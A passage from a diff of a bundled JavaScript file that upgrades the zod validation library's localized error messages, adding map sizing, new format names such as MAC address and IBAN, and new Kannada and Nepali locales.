"input" }; @@ -61685,17 +63251,18 @@ var error21 = () => { }; function id_default() { return { - localeError: error21() + localeError: error25() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/is.js -var error22 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/is.js +var error26 = () => { const Sizable = { string: { unit: "stafi", verb: "a\xF0 hafa" }, file: { unit: "b\xE6ti", verb: "a\xF0 hafa" }, array: { unit: "hluti", verb: "a\xF0 hafa" }, - set: { unit: "hluti", verb: "a\xF0 hafa" } + set: { unit: "hluti", verb: "a\xF0 hafa" }, + map: { unit: "hluti", verb: "a\xF0 hafa" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -61721,12 +63288,16 @@ var error22 = () => { duration: "ISO t\xEDmalengd", ipv4: "IPv4 address", ipv6: "IPv6 address", + mac: "MAC address", cidrv4: "IPv4 range", cidrv6: "IPv6 range", base64: "base64-encoded strengur", base64url: "base64url-encoded strengur", json_string: "JSON strengur", e164: "E.164 t\xF6lugildi", + credit_card: "kreditkortan\xFAmer", + currency_code: "gjaldmi\xF0ilsk\xF3\xF0i", + iban: "IBAN", jwt: "JWT", template_literal: "gildi" }; @@ -61795,17 +63366,18 @@ var error22 = () => { }; function is_default() { return { - localeError: error22() + localeError: error26() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/it.js -var error23 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/it.js +var error27 = () => { const Sizable = { string: { unit: "caratteri", verb: "avere" }, file: { unit: "byte", verb: "avere" }, array: { unit: "elementi", verb: "avere" }, - set: { unit: "elementi", verb: "avere" } + set: { unit: "elementi", verb: "avere" }, + map: { unit: "elementi", verb: "avere" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -61831,12 +63403,16 @@ var error23 = () => { duration: "durata ISO", ipv4: "indirizzo IPv4", ipv6: "indirizzo IPv6", + mac: "indirizzo MAC", cidrv4: "intervallo IPv4", cidrv6: "intervallo IPv6", base64: "stringa codificata in base64", base64url: "URL codificata in base64", json_string: "stringa JSON", e164: "numero E.164", + credit_card: "numero di carta di credito", + currency_code: "codice valuta", + iban: "IBAN", jwt: "JWT", template_literal: "input" }; @@ -61904,17 +63480,18 @@ var error23 = () => { }; function it_default() { return { - localeError: error23() + localeError: error27() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ja.js -var error24 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ja.js +var error28 = () => { const Sizable = { string: { unit: "\u6587\u5B57", verb: "\u3067\u3042\u308B" }, file: { unit: "\u30D0\u30A4\u30C8", verb: "\u3067\u3042\u308B" }, array: { unit: "\u8981\u7D20", verb: "\u3067\u3042\u308B" }, - set: { unit: "\u8981\u7D20", verb: "\u3067\u3042\u308B" } + set: { unit: "\u8981\u7D20", verb: "\u3067\u3042\u308B" }, + map: { unit: "\u8981\u7D20", verb: "\u3067\u3042\u308B" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -61940,12 +63517,16 @@ var error24 = () => { duration: "ISO\u671F\u9593", ipv4: "IPv4\u30A2\u30C9\u30EC\u30B9", ipv6: "IPv6\u30A2\u30C9\u30EC\u30B9", + mac: "MAC\u30A2\u30C9\u30EC\u30B9", cidrv4: "IPv4\u7BC4\u56F2", cidrv6: "IPv6\u7BC4\u56F2", base64: "base64\u30A8\u30F3\u30B3\u30FC\u30C9\u6587\u5B57\u5217", base64url: "base64url\u30A8\u30F3\u30B3\u30FC\u30C9\u6587\u5B57\u5217", json_string: "JSON\u6587\u5B57\u5217", e164: "E.164\u756A\u53F7", + credit_card: "\u30AF\u30EC\u30B8\u30C3\u30C8\u30AB\u30FC\u30C9\u756A\u53F7", + currency_code: "\u901A\u8CA8\u30B3\u30FC\u30C9", + iban: "IBAN", jwt: "JWT", template_literal: "\u5165\u529B\u5024" }; @@ -62012,17 +63593,18 @@ var error24 = () => { }; function ja_default() { return { - localeError: error24() + localeError: error28() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ka.js -var error25 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ka.js +var error29 = () => { const Sizable = { string: { unit: "\u10E1\u10D8\u10DB\u10D1\u10DD\u10DA\u10DD", verb: "\u10E3\u10DC\u10D3\u10D0 \u10E8\u10D4\u10D8\u10EA\u10D0\u10D5\u10D3\u10D4\u10E1" }, file: { unit: "\u10D1\u10D0\u10D8\u10E2\u10D8", verb: "\u10E3\u10DC\u10D3\u10D0 \u10E8\u10D4\u10D8\u10EA\u10D0\u10D5\u10D3\u10D4\u10E1" }, array: { unit: "\u10D4\u10DA\u10D4\u10DB\u10D4\u10DC\u10E2\u10D8", verb: "\u10E3\u10DC\u10D3\u10D0 \u10E8\u10D4\u10D8\u10EA\u10D0\u10D5\u10D3\u10D4\u10E1" }, - set: { unit: "\u10D4\u10DA\u10D4\u10DB\u10D4\u10DC\u10E2\u10D8", verb: "\u10E3\u10DC\u10D3\u10D0 \u10E8\u10D4\u10D8\u10EA\u10D0\u10D5\u10D3\u10D4\u10E1" } + set: { unit: "\u10D4\u10DA\u10D4\u10DB\u10D4\u10DC\u10E2\u10D8", verb: "\u10E3\u10DC\u10D3\u10D0 \u10E8\u10D4\u10D8\u10EA\u10D0\u10D5\u10D3\u10D4\u10E1" }, + map: { unit: "\u10D4\u10DA\u10D4\u10DB\u10D4\u10DC\u10E2\u10D8", verb: "\u10E3\u10DC\u10D3\u10D0 \u10E8\u10D4\u10D8\u10EA\u10D0\u10D5\u10D3\u10D4\u10E1" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -62048,12 +63630,16 @@ var error25 = () => { duration: "\u10EE\u10D0\u10DC\u10D2\u10E0\u10EB\u10DA\u10D8\u10D5\u10DD\u10D1\u10D0", ipv4: "IPv4 \u10DB\u10D8\u10E1\u10D0\u10DB\u10D0\u10E0\u10D7\u10D8", ipv6: "IPv6 \u10DB\u10D8\u10E1\u10D0\u10DB\u10D0\u10E0\u10D7\u10D8", + mac: "MAC \u10DB\u10D8\u10E1\u10D0\u10DB\u10D0\u10E0\u10D7\u10D8", cidrv4: "IPv4 \u10D3\u10D8\u10D0\u10DE\u10D0\u10D6\u10DD\u10DC\u10D8", cidrv6: "IPv6 \u10D3\u10D8\u10D0\u10DE\u10D0\u10D6\u10DD\u10DC\u10D8", base64: "base64-\u10D9\u10DD\u10D3\u10D8\u10E0\u10D4\u10D1\u10E3\u10DA\u10D8 \u10D5\u10D4\u10DA\u10D8", base64url: "base64url-\u10D9\u10DD\u10D3\u10D8\u10E0\u10D4\u10D1\u10E3\u10DA\u10D8 \u10D5\u10D4\u10DA\u10D8", json_string: "JSON \u10D5\u10D4\u10DA\u10D8", e164: "E.164 \u10DC\u10DD\u10DB\u10D4\u10E0\u10D8", + credit_card: "\u10E1\u10D0\u10D9\u10E0\u10D4\u10D3\u10D8\u10E2\u10DD \u10D1\u10D0\u10E0\u10D0\u10D7\u10D8\u10E1 \u10DC\u10DD\u10DB\u10D4\u10E0\u10D8", + currency_code: "\u10D5\u10D0\u10DA\u10E3\u10E2\u10D8\u10E1 \u10D9\u10DD\u10D3\u10D8", + iban: "IBAN", jwt: "JWT", template_literal: "\u10E8\u10D4\u10E7\u10D5\u10D0\u10DC\u10D0" }; @@ -62125,17 +63711,18 @@ var error25 = () => { }; function ka_default() { return { - localeError: error25() + localeError: error29() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/km.js -var error26 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/km.js +var error30 = () => { const Sizable = { string: { unit: "\u178F\u17BD\u17A2\u1780\u17D2\u179F\u179A", verb: "\u1782\u17BD\u179A\u1798\u17B6\u1793" }, file: { unit: "\u1794\u17C3", verb: "\u1782\u17BD\u179A\u1798\u17B6\u1793" }, array: { unit: "\u1792\u17B6\u178F\u17BB", verb: "\u1782\u17BD\u179A\u1798\u17B6\u1793" }, - set: { unit: "\u1792\u17B6\u178F\u17BB", verb: "\u1782\u17BD\u179A\u1798\u17B6\u1793" } + set: { unit: "\u1792\u17B6\u178F\u17BB", verb: "\u1782\u17BD\u179A\u1798\u17B6\u1793" }, + map: { unit: "\u1792\u17B6\u178F\u17BB", verb: "\u1782\u17BD\u179A\u1798\u17B6\u1793" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -62161,12 +63748,16 @@ var error26 = () => { duration: "\u179A\u1799\u17C8\u1796\u17C1\u179B ISO", ipv4: "\u17A2\u17B6\u179F\u1799\u178A\u17D2\u178B\u17B6\u1793 IPv4", ipv6: "\u17A2\u17B6\u179F\u1799\u178A\u17D2\u178B\u17B6\u1793 IPv6", + mac: "\u17A2\u17B6\u179F\u1799\u178A\u17D2\u178B\u17B6\u1793 MAC", cidrv4: "\u178A\u17C2\u1793\u17A2\u17B6\u179F\u1799\u178A\u17D2\u178B\u17B6\u1793 IPv4", cidrv6: "\u178A\u17C2\u1793\u17A2\u17B6\u179F\u1799\u178A\u17D2\u178B\u17B6\u1793 IPv6", base64: "\u1781\u17D2\u179F\u17C2\u17A2\u1780\u17D2\u179F\u179A\u17A2\u17CA\u17B7\u1780\u17BC\u178A base64", base64url: "\u1781\u17D2\u179F\u17C2\u17A2\u1780\u17D2\u179F\u179A\u17A2\u17CA\u17B7\u1780\u17BC\u178A base64url", json_string: "\u1781\u17D2\u179F\u17C2\u17A2\u1780\u17D2\u179F\u179A JSON", e164: "\u179B\u17C1\u1781 E.164", + credit_card: "\u179B\u17C1\u1781\u1794\u17D0\u178E\u17D2\u178E\u17A5\u178E\u1791\u17B6\u1793", + currency_code: "\u1780\u17BC\u178A\u179A\u17BC\u1794\u17B7\u1799\u1794\u17D0\u178E\u17D2\u178E", + iban: "IBAN", jwt: "JWT", template_literal: "\u1791\u17B7\u1793\u17D2\u1793\u1793\u17D0\u1799\u1794\u1789\u17D2\u1785\u17BC\u179B" }; @@ -62236,22 +63827,139 @@ var error26 = () => { }; function km_default() { return { - localeError: error26() + localeError: error30() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/kh.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/kh.js function kh_default() { return km_default(); } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ko.js -var error27 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/kn.js +var error31 = () => { + const Sizable = { + string: { unit: "\u0C85\u0C95\u0CCD\u0CB7\u0CB0\u0C97\u0CB3\u0CC1", verb: "\u0CB9\u0CCA\u0C82\u0CA6\u0CB2\u0CC1" }, + file: { unit: "\u0CAC\u0CC8\u0C9F\u0CCD\u200C\u0C97\u0CB3\u0CC1", verb: "\u0CB9\u0CCA\u0C82\u0CA6\u0CB2\u0CC1" }, + array: { unit: "\u0CB5\u0CB8\u0CCD\u0CA4\u0CC1\u0C97\u0CB3\u0CC1", verb: "\u0CB9\u0CCA\u0C82\u0CA6\u0CB2\u0CC1" }, + set: { unit: "\u0CB5\u0CB8\u0CCD\u0CA4\u0CC1\u0C97\u0CB3\u0CC1", verb: "\u0CB9\u0CCA\u0C82\u0CA6\u0CB2\u0CC1" }, + map: { unit: "entries", verb: "\u0CB9\u0CCA\u0C82\u0CA6\u0CB2\u0CC1" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u0C87\u0CA8\u0CCD\u0CAA\u0CC1\u0C9F\u0CCD", + email: "email \u0CB5\u0CBF\u0CB3\u0CBE\u0CB8", + url: "URL", + emoji: "emoji", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO \u0CA6\u0CBF\u0CA8\u0CBE\u0C82\u0C95\u0CA6 \u0CB8\u0CAE\u0CAF", + date: "ISO \u0CA6\u0CBF\u0CA8\u0CBE\u0C82\u0C95", + time: "ISO \u0CB8\u0CAE\u0CAF", + duration: "ISO \u0C85\u0CB5\u0CA7\u0CBF", + ipv4: "IPv4 \u0CB5\u0CBF\u0CB3\u0CBE\u0CB8", + ipv6: "IPv6 \u0CB5\u0CBF\u0CB3\u0CBE\u0CB8", + mac: "MAC \u0CB5\u0CBF\u0CB3\u0CBE\u0CB8", + cidrv4: "IPv4 \u0CB5\u0CCD\u0CAF\u0CBE\u0CAA\u0CCD\u0CA4\u0CBF\u0CAF", + cidrv6: "IPv6 \u0CB5\u0CCD\u0CAF\u0CBE\u0CAA\u0CCD\u0CA4\u0CBF\u0CAF", + base64: "base64-encoded\u0CB8\u0CCD\u0C9F\u0CCD\u0CB0\u0CBF\u0C82\u0C97\u0CCD", + base64url: "base64url-encoded\u0CB8\u0CCD\u0C9F\u0CCD\u0CB0\u0CBF\u0C82\u0C97\u0CCD", + json_string: "JSON\u0CB8\u0CCD\u0C9F\u0CCD\u0CB0\u0CBF\u0C82\u0C97\u0CCD", + e164: "E.164 \u0CB8\u0C82\u0C96\u0CCD\u0CAF\u0CC6", + credit_card: "\u0C95\u0CCD\u0CB0\u0CC6\u0CA1\u0CBF\u0C9F\u0CCD \u0C95\u0CBE\u0CB0\u0CCD\u0CA1\u0CCD \u0CB8\u0C82\u0C96\u0CCD\u0CAF\u0CC6", + currency_code: "\u0C95\u0CB0\u0CC6\u0CA8\u0CCD\u0CB8\u0CBF \u0C95\u0CCB\u0CA1\u0CCD", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u0C87\u0CA8\u0CCD\u0CAA\u0CC1\u0C9F\u0CCD" + }; + const TypeDictionary = { + // Compatibility: "nan" -> "NaN" for display + nan: "NaN" + // All other type names omitted - they fall back to raw values via ?? operator + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0C87\u0CA8\u0CCD\u200C\u0CAA\u0CC1\u0C9F\u0CCD: \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${expected}, \u0CB8\u0CCD\u0CB5\u0CC0\u0C95\u0CB0\u0CBF\u0CB8\u0CBF\u0CA6\u0CA8\u0CC1 ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0C87\u0CA8\u0CCD\u200C\u0CAA\u0CC1\u0C9F\u0CCD: \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${stringifyPrimitive(issue2.values[0])}`; + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0C86\u0CAF\u0CCD\u0C95\u0CC6: \u0C87\u0CB5\u0CC1\u0C97\u0CB3\u0CB2\u0CCD\u0CB2\u0CBF \u0C92\u0C82\u0CA6\u0CA8\u0CCD\u0CA8\u0CC1 \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u0CA4\u0CC1\u0C82\u0CAC\u0CBE \u0CA6\u0CCA\u0CA1\u0CCD\u0CA1\u0CA6\u0CC1: \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${issue2.origin ?? "value"} \u0CB9\u0CCA\u0C82\u0CA6\u0CB2\u0CC1 ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "\u0C85\u0C82\u0CB6\u0C97\u0CB3\u0CC1"}`; + return `\u0CA4\u0CC1\u0C82\u0CAC\u0CBE \u0CA6\u0CCA\u0CA1\u0CCD\u0CA1\u0CA6\u0CC1: \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${issue2.origin ?? "value"} \u0C8E\u0C82\u0CA6\u0CC1 ${adj}${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `\u0CA4\u0CC1\u0C82\u0CAC\u0CBE \u0C9A\u0CBF\u0C95\u0CCD\u0C95\u0CA6\u0CC1: \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${issue2.origin} \u0CB9\u0CCA\u0C82\u0CA6\u0CB2\u0CC1 ${adj}${issue2.minimum.toString()} ${sizing.unit}`; + } + return `\u0CA4\u0CC1\u0C82\u0CAC\u0CBE \u0C9A\u0CBF\u0C95\u0CCD\u0C95\u0CA6\u0CC1: \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${issue2.origin} \u0C8E\u0C82\u0CA6\u0CC1 ${adj}${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") { + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF\u0CB5\u0CBE\u0CA6 \u0CB8\u0CCD\u0C9F\u0CCD\u0CB0\u0CBF\u0C82\u0C97\u0CCD: \u0C87\u0CA6\u0CB0\u0CCA\u0C82\u0CA6\u0CBF\u0C97\u0CC6 \u0CAA\u0CCD\u0CB0\u0CBE\u0CB0\u0C82\u0CAD\u0CBF\u0CB8\u0CAC\u0CC7\u0C95\u0CC1 "${_issue.prefix}"`; + } + if (_issue.format === "ends_with") + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF\u0CB5\u0CBE\u0CA6 \u0CB8\u0CCD\u0C9F\u0CCD\u0CB0\u0CBF\u0C82\u0C97\u0CCD: \u0C87\u0CA6\u0CB0\u0CCA\u0C82\u0CA6\u0CBF\u0C97\u0CC6 \u0C95\u0CCA\u0CA8\u0CC6\u0C97\u0CCA\u0CB3\u0CCD\u0CB3\u0CAC\u0CC7\u0C95\u0CC1 "${_issue.suffix}"`; + if (_issue.format === "includes") + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0CB8\u0CCD\u0C9F\u0CCD\u0CB0\u0CBF\u0C82\u0C97\u0CCD: \u0C92\u0CB3\u0C97\u0CCA\u0C82\u0CA1\u0CBF\u0CB0\u0CAC\u0CC7\u0C95\u0CC1 "${_issue.includes}"`; + if (_issue.format === "regex") + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF\u0CB5\u0CBE\u0CA6 \u0CB8\u0CCD\u0C9F\u0CCD\u0CB0\u0CBF\u0C82\u0C97\u0CCD: \u0CAE\u0CBE\u0CA6\u0CB0\u0CBF\u0C97\u0CC6 \u0CB9\u0CCA\u0C82\u0CA6\u0CBF\u0C95\u0CC6\u0CAF\u0CBE\u0C97\u0CAC\u0CC7\u0C95\u0CC1 ${_issue.pattern}`; + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0CB8\u0C82\u0C96\u0CCD\u0CAF\u0CC6: \u0CAC\u0CB9\u0CC1\u0CB8\u0C82\u0C96\u0CCD\u0CAF\u0CC6\u0CAF\u0CBE\u0C97\u0CBF\u0CB0\u0CAC\u0CC7\u0C95\u0CC1 ${issue2.divisor}`; + case "unrecognized_keys": + return `\u0C97\u0CC1\u0CB0\u0CC1\u0CA4\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CA6 \u0C95\u0CC0 ${issue2.keys.length > 1 ? "s" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF\u0CB5\u0CBE\u0CA6 \u0C95\u0CC0 \u0C87\u0CA8\u0CCD ${issue2.origin}`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0CA4\u0CBE\u0CB0\u0CA4\u0CAE\u0CCD\u0CAF \u0CAE\u0CCC\u0CB2\u0CCD\u0CAF. \u0CA8\u0CBF\u0CB0\u0CC0\u0C95\u0CCD\u0CB7\u0CBF\u0CB8\u0CB2\u0CBE\u0C97\u0CBF\u0CA6\u0CC6 ${opts}`; + } + return "\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0C87\u0CA8\u0CCD\u200C\u0CAA\u0CC1\u0C9F\u0CCD"; + case "invalid_element": + return `\u0CB0\u0CB2\u0CCD\u0CB2\u0CBF \u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0CAE\u0CCC\u0CB2\u0CCD\u0CAF ${issue2.origin}`; + default: + return `\u0C85\u0CAE\u0CBE\u0CA8\u0CCD\u0CAF \u0C87\u0CA8\u0CCD\u200C\u0CAA\u0CC1\u0C9F\u0CCD`; + } + }; +}; +function kn_default() { + return { + localeError: error31() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ko.js +var error32 = () => { const Sizable = { string: { unit: "\uBB38\uC790", verb: "to have" }, file: { unit: "\uBC14\uC774\uD2B8", verb: "to have" }, array: { unit: "\uAC1C", verb: "to have" }, - set: { unit: "\uAC1C", verb: "to have" } + set: { unit: "\uAC1C", verb: "to have" }, + map: { unit: "\uAC1C", verb: "to have" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -62277,12 +63985,16 @@ var error27 = () => { duration: "ISO \uAE30\uAC04", ipv4: "IPv4 \uC8FC\uC18C", ipv6: "IPv6 \uC8FC\uC18C", + mac: "MAC \uC8FC\uC18C", cidrv4: "IPv4 \uBC94\uC704", cidrv6: "IPv6 \uBC94\uC704", base64: "base64 \uC778\uCF54\uB529 \uBB38\uC790\uC5F4", base64url: "base64url \uC778\uCF54\uB529 \uBB38\uC790\uC5F4", json_string: "JSON \uBB38\uC790\uC5F4", e164: "E.164 \uBC88\uD638", + credit_card: "\uC2E0\uC6A9\uCE74\uB4DC \uBC88\uD638", + currency_code: "\uD1B5\uD654 \uCF54\uB4DC", + iban: "IBAN", jwt: "JWT", template_literal: "\uC785\uB825" }; @@ -62353,11 +64065,11 @@ var error27 = () => { }; function ko_default() { return { - localeError: error27() + localeError: error32() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/lt.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/lt.js var capitalizeFirstCharacter = (text2) => { return text2.charAt(0).toUpperCase() + text2.slice(1); }; @@ -62371,7 +64083,7 @@ function getUnitTypeFromNumber(number4) { return "one"; return "few"; } -var error28 = () => { +var error33 = () => { const Sizable = { string: { unit: { @@ -62472,12 +64184,16 @@ var error28 = () => { duration: "ISO trukm\u0117", ipv4: "IPv4 adresas", ipv6: "IPv6 adresas", + mac: "MAC adresas", cidrv4: "IPv4 tinklo prefiksas (CIDR)", cidrv6: "IPv6 tinklo prefiksas (CIDR)", base64: "base64 u\u017Ekoduota eilut\u0117", base64url: "base64url u\u017Ekoduota eilut\u0117", json_string: "JSON eilut\u0117", e164: "E.164 numeris", + credit_card: "kredito kortel\u0117s numeris", + currency_code: "valiutos kodas", + iban: "IBAN", jwt: "JWT", template_literal: "\u012Fvestis" }; @@ -62557,17 +64273,18 @@ var error28 = () => { }; function lt_default() { return { - localeError: error28() + localeError: error33() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/mk.js -var error29 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/mk.js +var error34 = () => { const Sizable = { string: { unit: "\u0437\u043D\u0430\u0446\u0438", verb: "\u0434\u0430 \u0438\u043C\u0430\u0430\u0442" }, file: { unit: "\u0431\u0430\u0458\u0442\u0438", verb: "\u0434\u0430 \u0438\u043C\u0430\u0430\u0442" }, array: { unit: "\u0441\u0442\u0430\u0432\u043A\u0438", verb: "\u0434\u0430 \u0438\u043C\u0430\u0430\u0442" }, - set: { unit: "\u0441\u0442\u0430\u0432\u043A\u0438", verb: "\u0434\u0430 \u0438\u043C\u0430\u0430\u0442" } + set: { unit: "\u0441\u0442\u0430\u0432\u043A\u0438", verb: "\u0434\u0430 \u0438\u043C\u0430\u0430\u0442" }, + map: { unit: "\u0441\u0442\u0430\u0432\u043A\u0438", verb: "\u0434\u0430 \u0438\u043C\u0430\u0430\u0442" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -62593,12 +64310,16 @@ var error29 = () => { duration: "ISO \u0432\u0440\u0435\u043C\u0435\u0442\u0440\u0430\u0435\u045A\u0435", ipv4: "IPv4 \u0430\u0434\u0440\u0435\u0441\u0430", ipv6: "IPv6 \u0430\u0434\u0440\u0435\u0441\u0430", + mac: "MAC \u0430\u0434\u0440\u0435\u0441\u0430", cidrv4: "IPv4 \u043E\u043F\u0441\u0435\u0433", cidrv6: "IPv6 \u043E\u043F\u0441\u0435\u0433", base64: "base64-\u0435\u043D\u043A\u043E\u0434\u0438\u0440\u0430\u043D\u0430 \u043D\u0438\u0437\u0430", base64url: "base64url-\u0435\u043D\u043A\u043E\u0434\u0438\u0440\u0430\u043D\u0430 \u043D\u0438\u0437\u0430", json_string: "JSON \u043D\u0438\u0437\u0430", e164: "E.164 \u0431\u0440\u043E\u0458", + credit_card: "\u0431\u0440\u043E\u0458 \u043D\u0430 \u043A\u0440\u0435\u0434\u0438\u0442\u043D\u0430 \u043A\u0430\u0440\u0442\u0438\u0447\u043A\u0430", + currency_code: "\u043A\u043E\u0434 \u043D\u0430 \u0432\u0430\u043B\u0443\u0442\u0430", + iban: "IBAN", jwt: "JWT", template_literal: "\u0432\u043D\u0435\u0441" }; @@ -62667,17 +64388,18 @@ var error29 = () => { }; function mk_default() { return { - localeError: error29() + localeError: error34() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ms.js -var error30 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ms.js +var error35 = () => { const Sizable = { string: { unit: "aksara", verb: "mempunyai" }, file: { unit: "bait", verb: "mempunyai" }, array: { unit: "elemen", verb: "mempunyai" }, - set: { unit: "elemen", verb: "mempunyai" } + set: { unit: "elemen", verb: "mempunyai" }, + map: { unit: "elemen", verb: "mempunyai" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -62703,12 +64425,16 @@ var error30 = () => { duration: "tempoh ISO", ipv4: "alamat IPv4", ipv6: "alamat IPv6", + mac: "alamat MAC", cidrv4: "julat IPv4", cidrv6: "julat IPv6", base64: "string dikodkan base64", base64url: "string dikodkan base64url", json_string: "string JSON", e164: "nombor E.164", + credit_card: "nombor kad kredit", + currency_code: "kod mata wang", + iban: "IBAN", jwt: "JWT", template_literal: "input" }; @@ -62775,17 +64501,130 @@ var error30 = () => { }; function ms_default() { return { - localeError: error30() + localeError: error35() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/nl.js -var error31 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ne.js +var error36 = () => { + const Sizable = { + string: { unit: "\u0905\u0915\u094D\u0937\u0930", verb: "\u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B" }, + file: { unit: "\u092C\u093E\u0907\u091F", verb: "\u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B" }, + array: { unit: "\u0924\u0924\u094D\u0935", verb: "\u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B" }, + set: { unit: "\u0924\u0924\u094D\u0935", verb: "\u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B" }, + map: { unit: "\u092A\u094D\u0930\u0935\u093F\u0937\u094D\u091F\u093F", verb: "\u0939\u0941\u0928\u0941\u092A\u0930\u094D\u091B" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u0907\u0928\u092A\u0941\u091F", + email: "\u0907\u092E\u0947\u0932 \u0920\u0947\u0917\u093E\u0928\u093E", + url: "URL", + emoji: "\u0907\u092E\u094B\u091C\u0940", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO \u092E\u093F\u0924\u093F \u0930 \u0938\u092E\u092F", + date: "ISO \u092E\u093F\u0924\u093F", + time: "ISO \u0938\u092E\u092F", + duration: "ISO \u0905\u0935\u0927\u093F", + ipv4: "IPv4 \u0920\u0947\u0917\u093E\u0928\u093E", + ipv6: "IPv6 \u0920\u0947\u0917\u093E\u0928\u093E", + mac: "MAC \u0920\u0947\u0917\u093E\u0928\u093E", + cidrv4: "IPv4 \u0926\u093E\u092F\u0930\u093E", + cidrv6: 